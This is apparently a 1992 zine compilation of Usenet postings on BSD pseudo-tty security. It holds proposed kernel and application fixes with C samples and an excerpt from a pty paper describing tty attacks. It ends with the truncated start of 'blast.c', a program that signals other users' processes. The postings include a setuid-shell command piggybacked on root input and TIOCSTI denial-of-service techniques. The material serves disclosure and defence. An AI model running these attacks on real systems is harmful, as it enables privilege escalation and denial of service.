implementation of a new POSIX requirement. This is a good example of how
additional security channels (viz., POSIX sessions) make the system much
more fragile. One of the virtues of the original UNIX system was that
all security went through a single channel, namely the uid. Why can't we
stick to this model?

Popular BSD-derived POSIX systems like Ultrix 4.1, SunOS 4.1, and Convex
UNIX 9.0 are completely insecure: any user can take complete control of
any other user's session, with no privileges, no warning, no visible
effect if the attacker is careful, and no logs after the fact.

I asked Marc Teitelbaum how POSIX (particularly POSIX sessions) helped
tty security in the latest BSD 4.3. He pointed to revoke(), but revoke()
only helps security because it is applied at the *beginning* of a
session, and this is not required or even hinted at by POSIX. He
couldn't find another answer. I can still take full control of any
session begun by script or screen or emacs or expect.

As those of you involved with POSIX know, any process can send SIGCONT
to any other process in the same session, dodging all the restrictions
of normal security and job control. Believe it or not, SIGSTOP and
SIGCONT used to be a valuable synchronization technique, even for
privileged applications. Now they're useless. This can only be regarded
as a security hole.

Is it unreasonable to conclude that POSIX sessions do not help security?
That, in fact, they hurt security, by forcing changes upon a quite
fragile piece of the system?

It gets worse. In comp.unix.* we've seen repeated complaints that POSIX
breaks popular applications. No, I'm not even talking about pty. I'm
talking about screen, and expect, and emacs. These programs want to
control children running under a different terminal, but POSIX simply
doesn't acknowledge that people *want* cross-session job control. It
invented ``orphaned process groups''---yet another ``standard'' which
has never shown benefits and which breaks applications left and right.

Is it unreasonable to conclude that POSIX sessions are a problem?

I keep asking people what POSIX sessions do for users, or programmers,
or administrators, or system implementors. Nobody comes up with an
answer. ``They were meant to make job control secure,'' people say. So
why tf are they required even on systems not supporting the job control
option?

After all this I'm not even going to say POSIX sessions should be
abolished. All I want is for them to be made optional, like job control.
It really wouldn't be difficult---just change a couple of definitions
and put the equivalent of #ifdef SESSION around the dozens of additional
rules invented for POSIX sessions. Is this such a price to pay for
backward compatibility, extra security, and the chance to make POSIX
improve over the years as people figure out simpler job control models?
And doesn't it make sense that inventions in a standard should be
optional to begin with?

Let me close these comments with a personal remark: The next time I
report tty security holes to a vendor, if I hear ``We've fixed that,
we support POSIX,'' I'm probably going to do something violent. Maybe
it'll just be a symbolic burning of the latest POSIX 1003.1 in the
middle of Central Park, but I know it's gonna be violent. :-)

BSD tty security, part 3: How to Fix It

Here's one way to fix the BSD 4.[234] tty system, i.e., to provide some
strong guarantees that pty and tty sessions are safe and not subject to
corruption or denial of service, with minimal changes to the kernel and
to application programs. This is also meant to apply to systems derived
from BSD, such as SunOS, Ultrix, etc.

I've included quite a bit of sample code here, as well as evaluations of
what effect these changes will have on users and old programs. Thanks in
particular to Marc Teitelbaum for his extensive comments. The second
half of the article includes a bunch of optional recommendations that
may make your life easier but are not necessary for security.

Quick summary of kernel changes required: Make /dev/tty ioctls work on
/dev/tty??, make a /dev/stdtty driver which simply dup()s fd 3, and add
an ioctl, TIOCOPENCT, which returns the number of active references to a
given inode. That's it.

Quick summary of application changes required: Have certain programs do
an extra open() of the slave side to fd 3, move two device drivers, add
about fifteen lines of code (forty with complete error checks) to those
programs, add a new uid and group, make /dev/[pt]ty* world-inaccessible,
change chmod()s in those programs so that /dev/[pt]ty* remain
world-inaccessible, and make various programs setuid or setgid. That's
it.

1. Make all /dev/tty-specific ioctls work upon /dev/tty??. If the only
such ioctl is TIOCNOTTY, this is not necessary unless you want to
preserve the programmer's interface to detachment (which is probably
necessary). This may take some work. This step is safe, in that it will
not break working code.

2. Set up a /dev/stdtty driver that dup()s fd 3. This is tedious but not
difficult in principle. On systems with /dev/fd/3, all you have to do is
ln /dev/fd/3 /dev/stdtty. This step is safe.

3. Add an ioctl---I propose ioctl(fd,TIOCOPENCT,&x)---which *reliably*
sets x to the number of references to the *file* (not open file: I mean
file on disk, i.e., dev/inode pair, i.e., [igv]node) given by fd, or -1
if fd is not a disk file. Here ``reference'' means open file (i.e., the
thing in the file table). Under NFS I believe it is sufficient to report
v->v_count of the vnode. ``Reliably'' means that no matter what is going
on---swapped processes, locks of all sorts on the inode, file descriptor
passing, opening and closing---the returned information will be
absolutely correct starting from when ioctl() finishes and continuing as
long as no process opens or closes the file in question. This step is
safe.

4. Make sure that each of the tty-handling programs---getty, telnetd,
rlogind, script, etc.---opens /dev/ttyxx again in the master process and
leaves it open for use in #9 below. ``Master process'' means the process
in charge of the master side of the pty---telnetd, for instance. This is
easy:

int fdttyagain; /* global variable */
...
/* in the parent right after fork */
fdttyagain = open(line,O_RDWR);
if (fdttyagain == -1)
syslog(LOG_CRIT,"cannot open %s again: %m",line);
/* or whatever your favorite error reporting method is */

This step is safe.

5. Make a new uid, pty. Make each of the non-root tty-handling programs
(that means script, as well as programs like atty, mtty, pty, etc. if
you have them installed) setuid pty, and make sure they reset uids
before executing anything. Do not make pty the same as root, unless your
system handles MAXUPRC by effective userid (ugh)---in that case you
can't safely run anything setuid to any user but root, and you should
complain to your vendor. (The latter is true under, e.g. Ultrix 3.1.)
This step is safe, but will take some work if you have many non-root
tty-handling programs.

6. Change the root tty-handling programs (e.g., telnetd) so that they
reset ttys to owner pty mode 600 rather than owner root mode 666. This
step will break any user programs that allocate ttys dynamically and
that you didn't take care of in #5. It is safe otherwise.

7. Have each of the tty-handling programs---getty, telnetd, rlogind,
script, etc.---open file descriptor 3 to the tty. This is trivial:

{ /* after closing other descriptors, right before exec'ing the slave */
int fdtty;
fdtty = open(line,O_RDWR); /* line is, e.g., "/dev/ttyp7" */
if (fdtty == -1)
; /* XXX: complain to the user, or exit */
else if (fdtty != 3)
{
if (dup2(fdtty,3) == -1)
; /* XXX: complain to the user, or exit */
close(fdtty);
}
}

This step will break any old code that assumes the first open() will
return 3. (Such code is disgusting, but this is beside the point.)

8. ln /dev/tty /dev/oldtty; rm /dev/tty; ln /dev/stdtty /dev/tty;
chmod 600 /dev/oldtty. This is the first change that will affect users
directly. However, if you have done steps 1, 2, and 7 correctly, nobody
will notice. Marc comments that any programs which redirect or close fd
3 will be affected if they later use /dev/tty; he couldn't think offhand
of any such programs except ksh, which isn't installed on most BSD
machines. If you do find further examples of such programs or scripts,
please post the fixes here. An alternative is to use fd 11 instead of
fd 3 throughout these changes; this won't help ksh, but I've never seen
a script use fd 11.

9. In each of the tty-handling programs, do the following upon slave
exit: (a) Clean up everything except (if it is convenient) [uw]tmp.
Close 0, 1, 2, and any other random descriptors lying around, except
/dev/ptyxx and /dev/ttyxx. (b) Test /dev/ttyxx with TIOCOPEN*. If
someone else still has it open, continue to step (c); otherwise skip to
step (d). (c) Fork, and exit in the parent. Repeatedly test /dev/ttyxx
(a five-second sleep is fine) until it is closed. (d) Clean up [uw]tmp
and exit. Note that steps (b) and (c) can fit into a simple library
routine. Here's sample code, with paranoid error checking:

/* after cleaning up mostly everything */
if (fdttyagain != -1)
{
/* Assumption: /dev/ttyxx is back to mode 600 owner pty. */
int count;
close(0); close(1); close(2);
... /* close any other descriptors previously opened */
/* _except_ /dev/ptyxx (``fdpty'', perhaps) and fdttyagain */
(void) ioctl(fdttyagain,TIOCEXCL,(char *) 0);
/* entirely optional, but better safe than racing */
/* if TIOCOPENCT is not completely reliable */
if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
syslog(LOG_CRIT,"cannot count open references to %s: %m",line);
/* or whatever your favorite error reporting method is */
else
if (count > 1)
{
syslog(LOG_INFO,"waiting on %s",line);
switch(fork())
{
case -1:
syslog(LOG_CRIT,"cannot fork to wait on %s: %m",line);
break;
case 0:
{
int i;
i = 0;
for (;;)
{
sleep(5);
if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1)
syslog(LOG_CRIT,"weird: cannot count open references to %s: %m",line);
else
if (count == 1)
break;
++i;
if (!(i % 1000))
syslog(LOG_INFO,"waited %d secs on %s",i * 5,line);
/* XXX: If i gets large enough, you may want to take */
/* desperate measures at this point. Example: */
/* vhangup(); fcntl(fdpty,F_SETFL,FNDELAY); */
/* vhangup(); write(fdpty,"x",1); vhangup(); */
/* read(fdpty,"y",1); vhangup(); */
/* And then break. */
}
}
syslog(LOG_INFO,"done waiting on %s",line);
break;
default:
exit(0);
}
}
/* now finish cleaning up everything, and exit */
}

It doesn't really matter where the above code comes inside a cleanup
routine, as long as the tty already has the right modes. I think it's
aesthetically better to leave the utmp entry alone until the tty is
deallocated; but if this isn't convenient for some program, feel free to
ignore aesthetics and put the code right before exit().

Marc notes that this change will leave a pseudo-tty allocated to a user
as long as the user has a background process on the tty. Religious types
will say ``yes, that's how it should be.'' I say that at sites I'm
familiar with, this isn't a problem, because users don't run very many
background jobs, and there are more than enough pseudo-ttys. If this is
a problem for you, you will have to do step #20 below and educate your
users to detach background jobs, meanwhile killing any runaways. Sorry,
but this is the price you pay for security. You may prefer the
``desperate measures'' mentioned in the sample code to simply cut off
tty access after a few hours; any use of vhangup() is chock-full of race
conditions, but it would be exceedingly difficult for a process to make
it past all the races.

10. chown pty /dev/[pt]ty*; chmod 600 /dev/[pt]ty*. This is the big step.
Nonprivileged programs will no longer be able to open any ttys or ptys,
so nobody can deny service to other users without executing a privileged
program that will later show up in acct. Furthermore, the TIOCOPENCT
code guarantees that if a tty-handling program exits, absolutely nobody
is using that tty, so it is safe for immediate use by the next
tty-handling program. This throws a huge wrench into all the fundamental
tty security holes I know.

11. If you're using a Sun, make sure to chmod 600 /etc/utmp, or these
changes will go to waste. You may find it convenient to make certain
programs setgid or setuid here so that they can still write utmp, though
I consider this a mistake---you are bound to slip up when a hundred
different tools all manage one supposedly secure file. (But anything is
better than what Sun currently ships.)

12. Support the BSD 4.3 tty group model: make a new group, tty, chgrp
all /dev/tty* to it, and make ``talk'' and ``write'' setgid tty. Of
course, you don't need to do this if you already have the tty group.

It's possible to accomplish similar results with fewer changes. In fact,
my next version of pty will almost guarantee safety on stock BSD 4.2
systems with no kernel support except read access to /dev/kmem. (It is,
unfortunately, not possible to avoid race conditions from user code.)
You can, for example, place the burden of TIOCOPENCT checking upon the
program opening the tty, rather than the program closing it, so that
it's not a problem if one tty handler fails to do its job; but this
increases turnaround time for the users and allows denial-of-service
attacks. The above changes should be straightforward enough that halfway
solutions are not worthwhile.

(POSIX fans will note that using TIOCOPENCT to keep the tty allocated
past session leader exit *is* compliant: it only affects the secure BSD
exclusive lock on the master side, and does not prevent reassignment of
the slave tty to a new session---not that such a reassignment will ever
occur.)

Why must tty-handling programs be setuid rather than setgid? Because the
user must not be allowed to kill them---he would be able to retain tty
access that way.

There are many further changes you can make to eliminate minor security
holes or improve accounting. EVERYTHING BELOW THIS POINT IS COMPLETELY
OPTIONAL. Here are some of the most important:

13. Fix write. Many people don't appreciate how poor write's security
is; I quote from my pty paper's description of a write clone:

: Finally, write is a vastly improved clone. The old write had several big
: security holes: 1. Control characters were passed through. This version
: converts anything unprintable into a caret. 2. Lines were not
: distinctively marked. A user could manually simulate the ``EOT'' or
: ``EOF'' sequence, wait a few minutes, then start sending anything to the
: other tty without identification. This version precedes each line with
: the name of the sending user, and prints something more informative than
: EOT for an ended message. 3. write could be used to flood a terminal.
: (This is an accident waiting to happen.) This version puts a one-second
: pause between each line and restricts line length. 4. Originally, write
: would only check the protection on the tty being written to. But this
: meant that a user could be interrupted by someone hiding behind mesg n
: and have no recourse. (Footnote: Remember that UNIX has no enforce()
: call to enforce new permissions on an object. Setting mesg n does not
: stop a write in progress.) So many versions of write included
: ``revenge'': X was allowed to write to Y only if Y could write back.
: However, these versions tested tty protection only at the beginning of a
: message---which was useless. This version does the correct test: it
: simply checks write permission before sending each new line.

My write clone is public-domain, so I invite you---I beg you---to steal
code from it. Don't even give me any credit, just fix the bugs. Please.

14. Make script grok utmp and wtmp. (You may have to rethink certain
wtmp-based accounting schemes to do this.) Users constantly complain
that they can't ``talk'' within script, and the lack of accounting
is annoying. This doesn't matter under #18.

15. Change the chown() and fchown() system calls so that files can be
chowned between uid and euid. This opens up chown() for lots of secure
services without forcing the servers to run as root. In this case, it
lets script change the tty owner properly. This doesn't matter, though,
if you implement #16.

16. Don't even bother chowning ttys to the users who own them. (At this
point they might as well not be in the filesystem.) Yes, you can make
biff and mesg setuid pty, and no, nothing breaks except nroff's mesg n.

17. Make sure that telnetd, rlogind, etc. leave ttys with messages *off*
by default. Since UNIX has no way to enforce new access permissions on a
file, the usual default leaves all users open to instant attack. This is
a huge problem in the real world (at universities, at least), and while
there may be a sane argument for having messages on by default, it
cannot justify what amounts to unrestricted output to any and all ttys.

Finally, here are some optional changes that will make the above changes
much easier, or that will add basic features to your system. Do them
first and you'll never regret it.

18. Provide a program that spawns another program under a pseudo-tty,
handling I/O and job control transparently, and obeying all the rules
for tty handlers mentioned above. In fact, the program already exists by
the name of ``pty'' (see, e.g., comp.sources.unix volume 23), and its
author is quite willing to negotiate distribution terms. pty also
supports session management. (Isn't it embarrassing to explain UNIX to a
long-time VMS user? ``No, sorry, Bob, you can't get back to that shell
after your modem went on the fritz. The shell is gone.'' ``vi -r? Oh,
yeah, Bob, that means your connection got hung up.'' ``Nope, sorry, Bob,
you can't start recording a `talk' session without hanging up and
talking again.'' ``No, Bob. This is not VMS. Your process is stuck to
that terminal, right there. Yes, I understand, the terminal screen just
exploded, and you can't see your output. No, you cannot move to the next
terminal and continue work. Sorry, Bob, you're out of luck. Bye, Bob.'')

19. Rewrite all other tty handlers (it's easy---trust me) to invoke that
single, modular program. Don't you find it strange that a dozen programs
all have the same pty allocation code? Don't you find it unreasonable,
at least from a ``software engineering'' standpoint, that since people
are too lazy to do (e.g.) random tty searching every time they recopy
the same code, your average tty handler wastes several dozen open()s on
a big machine when it could use just two? In fact, I'll be glad to do
all the work of conversion for you, provided that you agree to make the
final version available for people to use.

20. Provide a program that detaches from its controlling tty and spawns
another program. The program is usually called ``detach'' and has no
options of note. It should also seek out and reopen("/dev/null") any
file descriptors pointing to any tty.

21. Delete /dev/oldtty and remove the /dev/tty driver from your kernel.
Also remove controlling ttys entirely. Also remove POSIX sessions if you
have them: make setsid() a no-op, and return an implementation-defined
error upon the pointless POSIX SIGCONT special case, and you even retain
POSIX compatibility if you had it. (Well, with one exception: POSIX
defines a foreground process in terms of its controlling terminal,
rather than the terminal it's trying to access as in BSD. Beg the POSIX
folks to make this rule optional---what do they lose?) Notice how much
extra space users get for running programs.

22. Make a stdio stream for stdtty, descriptor 3---after all, programs
do want to use it. Change csh and more to read from stdtty rather than
stderr. Someday you may even be able to open stderr write-only [gasp!].

23. Have accounting record the dev/inode pair on descriptor 3. In fact,
while you're making accounting work sensibly, record the pid, as well as
the dev/inode pair of the program run (if you can get that information).

24. Change getty to spawn the pty-handling program, and to disconnect
that session when it receives BREAK. Guess what? You've just set up a
trusted path.

Most of the recommendations here come from my pty paper, various drafts
of which have been available for many months. (TIOCOPEN* is new.) The
basic ideas come from Bellovin's ``Session Tty'' paper, which has been
available for years. If you get through all of the above and still want
to improve the tty system, you might get some further ideas out of those
papers. See pub/hier/pty/paper.9 on stealth.acf.nyu.edu and its
references for details.

BSD tty security, part 4: What You Can Look Forward To

To close this series of postings, I'd like to briefly survey the state
of tty security. I'm sorry I haven't been able to respond personally or
quickly to everyone's mail on this issue.

Just a few years ago I was exploring the depths of an old Ultrix system.
It didn't take a genius to notice the occasional background jobs gone
astray---obviously any user could affect any other user's tty, despite
vhangup(). Soon I had ``blip'', a reasonably powerful tty mode mangler
that could act both as a concise stty and as a tty security breaker.
With it I could write arbitrary text to anyone's tty, TIOCSTI terminal
input, change tty mode settings, send tty signals, and so on.

So I sent copies of the code and documentation to the sysadmin at that
site, and posted a 300-line analysis to comp.unix.wizards. As I recall,
there were three responses. One asked what I was talking about. One was
from the admin describing what I now know to be only a partial fix. One
was from Steve Bellovin referring me to his then-new Session Tty paper
for descriptions of a few of the bugs as well as a complete (but
complex) fix for System V which, to my knowledge, has never been
implemented.

blip still works on every BSD UNIX machine I can find. It is trivial to
adapt to POSIX. And it has, unfortunately, been spreading slowly around
the net under the name of ``factor.''

That's right. Every available BSD UNIX machine allows any user to write
or type arbitrary characters on the tty of another user. With good
timing the attacker can even make his attack invisible---the moment a
sysadmin types a root command, someone could be piggybacking a command
like cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh. And it gets worse.

How many people know how to exploit these bugs? Far too many, I'm sure,
but not enough to shock other admins into seeing the magnitude of this
problem. And this pales beside the examples set by vendors. I tell Sun
how insecure ttys are, and offer a bandaid: Sun tells me that POSIX
fixes everything, and refuses to admit that a bandaid is necessary.
Convex is finally waking up, but is still under the delusion that one
kernel kludge after another (from vhangup() to POSIX sessions and
beyond) will solve the fundamental problems of statically allocated,
world-usable ttys.

Berkeley is finally showing some interest in fixing the bugs, but it
will be years before vendors have picked up the changes, and several
years before the average machine on the net is safe. Sorry, but I'm not
going to wait that long. I am sick of constantly wondering whether my
users know enough to break security. I am sick of hearing that POSIX
fixes the problems. I am sick of seeing vendors blind themselves to such
a fundamental set of holes. You should be sick of it too.

So here's what I'm doing about it.

1. In part 3 of this series I outlined a reasonably simple set of fixes.
If you have a BSD-derived system where something in the plan doesn't
work, please post your comments here and we'll see what has to be done.
If you don't have source, and you want to be notified as soon as binary
patches are available, tell CERT your hardware type and OS version at
cert@cert.sei.cmu.edu.

2. I will dedicate some of my free time to working with vendors and
established authorities like CERT interested in tightening up tty
security.

3. So that programmers are insulated from these changes in the pty
subsystem, I commit myself to porting my pty manager to any platform I
have access to.

4. I will attempt to outline a minimal set of (optional) changes to the
POSIX standard to keep the standard from interfering with tty security.
I would be interested in hearing from POSIX committee members interested
in helping with this.

5. On or around October 29, 1992, I will publish a set of tiger programs
that test for and exploit the failures in BSD tty security that I have
described.

6. I will give further details on the security holes to anyone who
convinces me that he has a legitimate interest. That means I want a
verifiable chain of people and phone numbers from the contact for a
major network down to whoever wants the information, plus a better
excuse than ``I haven't read Bellovin's paper or your paper yet.''
If you simply want someone other than me to tell you that the holes
exist, ask bostic@okeeffe.berkeley.edu. (That's Keith Bostic, the guy in
charge of BSD; don't be surprised if he doesn't get to your message
immediately.) Please don't believe vendor assurances that the holes have
been fixed---they haven't.

I hope I've yelled enough about these bugs now. I hope that soon there
won't be anything to yell about.


------------------------------------------------------------------------------
Comments:
Q's:
Biblio: series of postings off UseNet
CrossRef:
Code/shRef:
==============================================================================

`Sex' is not the question. `Sex' is the answer. `Yes' is the question.

==============================================================================
TTY article 4.ch.03.01 05/03/92
------------------------------------------------------------------------------
DATA:

5. Some tty security holes

In this section we describe some of the most important security holes
related to ttys.

There are two types of ttys. Hardwired ttys, such as /dev/console, are
connected directly to lines outside the computer. Pseudo-ttys (ptys),
such as /dev/ttyp3, have device drivers that present a similar
interface, but any output to /dev/ttyp0 is presented as input to a
``master'' side /dev/ptyp3, and vice versa. /dev/ttyp0 is called the
``slave'' side of the pseudo-tty. Note that ptys are implemented very
differently in non-BSD systems.

Many tty security holes relate to the protection of ttys within the
filesystem. A tty is owned by the user whose shell is running under it.
This mistake is a SCINUP (footnote: Security Compromise Introduced in
the Name of User Power) that gives users many opportunities to make
mistakes. Its apparent advantage is that the user can open the tty from
other terminals; but this can be better done in other ways, and doesn't
outweigh the potential problem of a user changing his tty to
world-readable and world-writable.

The simplest form of user-to-user communication used to be (and still
is) the ``write'' program. One user would set the world-write bit on his
tty; another user would use ``write'' to send messages to the tty.
Unfortunately, this was also a huge hole: other users could just as
easily send unidentified mounds of trash onto the tty, or even apply
ioctls. (stty intr ' ' > /dev/ttyxx.)

This bug was ``fixed'' in BSD 4.3, and independently in certain other
systems. BSD 4.3 introduced a ``tty group,'' group 4. All ttys were set
to group tty. write and other communications programs were made setgid
tty. Finally, users would set the group-write bit rather than the
world-write bit to allow communications.

These changes still leave many holes open. The default state of a tty is
still ``messages on,'' so inexperienced users cannot prevent others from
bothering them. Arbitrary, perhaps damaging text can still be sent
through the talk and comsat daemons. The write program itself is still a
fruitful source of bugs, as described in a later section; in particular,
some versions pass descriptors for the other terminal through to a !
command. This leaves no protection at all.

The reader may wonder whether write access is so bad---the worst that a
program could do is set the terminal modes strangely. However, changing
the terminal's process group can destroy process control; setting flow
control and flushing output strategically can prevent detection; and
many (real) terminals accept a ``playback'' command that feeds stored
sequences back into the computer.

Furthermore, if there is a way to open a tty for writing, then there is
a way to open that tty for reading: if a detached process opens a tty in
any way, it will gain that tty as its control terminal, and can then
reopen it for reading. This means that it can use the TIOCSTI ioctl to
simulate terminal input. (This is another example of the problems caused
by the concept of a ``control terminal.'' TIOCSTI is not inherently bad:
although it really should insert characters at the *front* of the queue,
and although it can interfere with typed input if there's no careful
synchronization, TIOCSTI can be used very effectively. Eliminating it,
as has been done in several BSD-derived systems, is a poor solution.)


A quite different class of filesystem tty bugs comes from this problem:
Unused pseudo-ttys are mode 666, i.e., readable and writable by anyone.
This is a SCINUP. ``User programs want to run other programs under ptys,
so the ptys have to be unprotected for arbitrary programs to use them.''
Unfortunately, a program can access the slave side, then wait for a
program to start using the tty, then suddenly jump in and take control.
(Footnote: POSIX sessions offer no protection against this. As the POSIX
Rationale, B.7.1.1.4, states: ``A process accessing a terminal that is
not its controlling terminal is effectively treated the same as a member
of the foreground process group. While this may seem unintuitive, note
that these controls are for the purpose of job control, not security,
and job control relates only to a process's controlling terminal.
*Normal file access permissions handle security*'' (italics added).
Apparently this has been removed from the POSIX.1-1990 rationale; this
author finds it disturbing that the POSIX committee no longer thinks
normal file access permissions should handle security.)

A particularly nasty application of this hole is to have a program keep
TIOCSTI'ing ^C's into /dev/ttyp0; telnetd (and almost every other
program with the usual pty allocation code) will find /dev/ttyp0 open
before looking at any other tty, so login be killed instantly. In
combination with other bugs, this can force the sysadmin to shut off
power to the machine, without so much as an accounting trace afterwards.
Another application is a simple Trojan horse, which popular myth says is
impossible for network logins if the attacker doesn't have root
privilege. (Details of this attack are left to the reader.)

It is also clear that, because ptys are static and unprotected, one user
can trivially deny service to all others, again without so much as an
accounting record. While denial of service is not as severe as a true
security hole, it is just as important.

Note that some systems have even the hardwired ttys set up mode 666 when
they're unused. This is pointless. It leads to the same bugs as above
and has no conceivable application.


A different type of tty bug---one that would apply even if ttys weren't
in the filesystem---is that a program can retain access to a tty even
after someone else logs in. Without some major enhancements to the
system (viz.: dynamic ptys, perhaps through streams), telnetd and getty
have to reuse an available tty without knowing whether a background
process still has access to that tty. Users regularly complain about
garbage spewed onto their screens by other users' background processes;
a security hole waiting for accidents to happen is more dangerous than
one that is difficult to exploit.


The careful reader may have raised several objections to the above
descriptions, as some manual pages give the impression that a user can
protect himself from attackers. If a process is running under a
terminal, isn't it susceptible to signals from that terminal? If it's
not in the tty's process group, doesn't it get stopped if tostop is set?
The answers are yes and yes, but an attacker can ignore various signals,
set his process group carefully, and/or stick himself inside a vfork()
to dodge these signal problems.

A more important objection is that vhangup() revokes access to ttys.
However, empirical tests show that vhangup() does nothing on many
systems, less than its documentation on most, and in any case not much.
Even if it worked as documented, it would not revoke a process's access
to its control terminal. Convex UNIX, perhaps the most secure available
BSD UNIX with respect to tty protection, has a large amount of paranoia
coded into the kernel in various attempts to solve the problems
mentioned above. Even it does not protect against all the above attacks,
and race conditions defeat much of its care.

Until UNIX has a working enforce() call to reliably enforce new access
permissions on an object, users should never be given permission for
anything that they may not be allowed to do forever.


It is worthwhile to note another SCINUP at this point: On Sun's popular
workstations, /etc/utmp is almost always mode 666. Sun did this because
many of its window programs (``tools''), like many programs available
for other machines, would benefit from an /etc/utmp entry. Making
/etc/utmp world-writable was considered more secure than making those
programs setuid root. Unfortunately, many programs depend on /etc/utmp
for accurate information, and can develop new security holes if they are
deluded into thinking that a different user is working under the tty.
Even on single-user machines, a writable /etc/utmp is an accident
waiting to happen.

6. Adding pty security to current systems

In this section, we consider what pty can do to prevent the security
holes of section 5. This section is mainly of interest to system
managers of machines derived from BSD 4.2 or 4.3.

Without support from the kernel, pty must run setuid to provide real
security. It is careful to make sure that the slave runs as the original
uid; it is very careful to make sure that the kernel accounts pty use to
the correct user; and it is extremely careful not to touch any files
outside the session directory. (Foornote: This level of security is very
difficult to achieve under System V before release 4.)

Under BSD, pty can successfully run setuid as any given user. (It can be
installed by unprivileged users on current insecure machines, but after
taking all the steps mentioned in this section, a sysadmin can be sure
that unauthorized pseudo-tty access is impossible.) Unfortunately, even
BSD doesn't provide enough security features; as mentioned in section 4,
various restrictions, missing capabilities, and bugs probably require
that pty be installed setuid root.

We will assume that some user, say ``pty'', has been set up for pty use.
This should be a system-only account, never used for interactive logins
and only available for storing privileged programs and secure files. It
may or may not be the same as root.


With pty in place, two SCINUPs disappear immediately. Unused psuedo-ttys
can be made owner pty, mode 600; and /etc/utmp can be made owner pty,
mode 644. Insecure pseudo-ttys and world-writable /etc/utmp are no
longer necessary for user programs to take advantage of these features.
(Of course, pty can work with the old, insecure setup; for a gradual
upgrade, a sysadmin can even dedicate some ptys to secure use and some
old ptys to insecure use.)

pty supports the BSD 4.3 tty group model. It supports leaving pseudo-tty
ownership with pty instead of changing it to the current user. It
supports a default of unwritable (and un-``biffable'') ttys. The pty
package includes mesg and biff adapted to work with these changes. The
system administrator can configure pty without these features if he
wants.

pty's random pseudo-tty searching can give a huge boost to speed and
security, as mentioned in section 2. Its use of TIOCEXCL closes many
holes, though the widespread use of /dev/tty means that this cannot be
made default. These are independent of all other security features.

None of the above (except TIOCEXCL, but there are still races) address
the problem of a background process keeping access to a pseudo-tty.
pty's test for previous access is completely reliable under some
variants of the BSD kernel, and completely unreliable under others. If
the kernel could be counted on to exhibit proper O_NDELAY tty behavior,
pty would have closed the most important tty security hole. The author
is considering adding an option for pty to search the kernel file table.
Of course, it would be even better if the kernel supported real streams
and pty were redone to use dynamic stream pseudo-ttys.

On systems where vhangup() reliably closes everything except /dev/tty,
there's a different solution: Eliminate /dev/tty. This is probably a
good idea for future systems in any case. It is considered further in
section 9.


Installing pty with all security measures enabled is useless unless
programs are modified to actually use pty. It is straightforward to
modify getty so that it always ignores the real tty and forks login
under pty. All hardwired /dev/tty* would remain permanently in raw mode,
owned by root, mode 600.

It is not so easy to modify telnetd to use pty, because telnetd
allocates a pseudo-tty for itself and depends on full control to pass
mode changes between the pseudo-tty and the telnet on the other side of
the network. The author has done the necessary work, using pty's file
descriptor passing feature to give telnetd the tty descriptors. A side
effect of this strategy is that the patched telnetd runs at the same
efficiency as the original version, even after a reconnect. Patches for
telnetd are included in the pty package.

A few problems arise because pty and login have different views of
/etc/utmp. The latter's strategy regularly leads to race conditions on
heavily used machines, does not adapt well to ptys used in random order,
and is logically impossible to adapt to dynamically allocated ptys.
Nevertheless, pty has to conform to it, so the patched telnetd invokes
pty with -xR to find ptys in an order that login can handle. (Footnote:
A much better solution is to have utmp initialized at system startup to
list all available ptys, in the order that login requires; then pty will
conform to that order. This still won't help login once ptys are out of
the filesystem.)

A more serious problem is that the pseudo-tty is allocated before
authentication and hence is controlled by root. The pty package includes
a ``sessuser'' command to fix this problem. Once the user owns the
pseudo-tty file and is listed in /etc/utmp for that tty (all as per
login's usual procedure), ``sessuser'' changes ownership of the session
to the user. Then all the other session commands will work properly.


Some work still needs to be done, to adapt other common programs
(rlogind, screen, emacs, etc.) to use the pty model. In the meantime, a
sysadmin can take the ``gradual upgrade'' strategy and leave those old
programs to use insecure pseudo-ttys. Users will meanwhile garner the
benefits of tty security and session management.


7. pty extras

lock is a clone of the usual program. It corrects many of the original's
failings, by being much simpler: it does not accept hasta la vista; it
does not accept the root password; it never times out; and it does print
a message for each bad password. (Also, unlike many versions, it catches
all tty signals; so even if an attacker manages to reset the tty from
raw mode, he cannot interrupt the lock.)
write has several
security holes: 1. Control characters were passed through. This version
converts anything unprintable into a caret. 2. Lines were not
distinctively marked. A user could manually simulate the ``EOT'' or
``EOF'' sequence, wait a few minutes, then start sending anything to the
other tty without identification. This version precedes each line with
the name of the sending user, and prints something more informative than
EOT for an ended message. 3. write could be used to flood a terminal.
(This is an accident waiting to happen.) This version puts a one-second
pause between each line and restricts line length. 4. Originally, write
would only check the protection on the tty being written to. But this
meant that a user could be interrupted by someone hiding behind mesg n
and have no recourse. (Footnote: Remember that UNIX has no enforce()
call to enforce new permissions on an object. Setting mesg n does not
stop a write in progress.) So many versions of write included
``revenge'': X was allowed to write to Y only if Y could write back.
However, these versions tested tty protection only at the beginning of a
message---which was useless. This version does the correct test: it
simply checks write permission before sending each new line.


------------------------------------------------------------------------------
Comments: more comments/applications for this information are needed.
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================

C0dEz R el8 d00d! We wANt m0rE c0deZ iN d1s mAG!

==============================================================================
blast.c 4.cb.15.00 04/04/92
------------------------------------------------------------------------------
DATA:
Signals
=======
There is a major bug in 4.2 which allows you to set your process group
and your terminal process group to any value you like. This results in
several nasty security features.

#include <sgtty.h>
#include <stdio.h>

main(argc, argv)
char **argv;
{
register char *str;
register char *cp;
register int pid;
int pgrp;
struct sgttyb sb;
struct sgttyb nsb;
struct tchars tc;
struct ltchars lc;

if (argc < 2)
{
fprintf(stderr, "usage: blast [-ksd] pid ...\n");
exit(1);
}
ioctl(0, TIOCGETP, &sb);
nsb = sb;
nsb.sg_flags &= ~ECHO;
ioctl(0, TIOCSETN, &nsb);
if (ioctl(0, TIOCGETC, &tc))
{
perror("getc");
goto done;
}
if (ioctl(0, TIOCGLTC, &lc))
{
perror("lgetc");
goto done;
}
argv++;
cp = &tc.t_intrc;
sigsetmask(-1);
while (argc-- > 1)
{
str = *argv++;
if (*str == '-')
{
switch (str[1]) {
case 'k': /* kill process */
cp = &tc.t_intrc;
break;
case 's': /* stop process */
cp = &lc.t_suspc;
break;
case 'd': /* dump process */
cp = &tc.t_quitc;
break;
default: /* illegal */
fprintf(stderr, "bad option\n");
goto done;
}
continue;
}
pid = 0;
while (*str)
{
pid = pid * 10;
if ((*str < '0') || (*str > '9'))
{
fprintf(stderr, "bad number\n");
goto done;
}
pid += (*str++ - '0');
}
pgrp = getpgrp(pid);
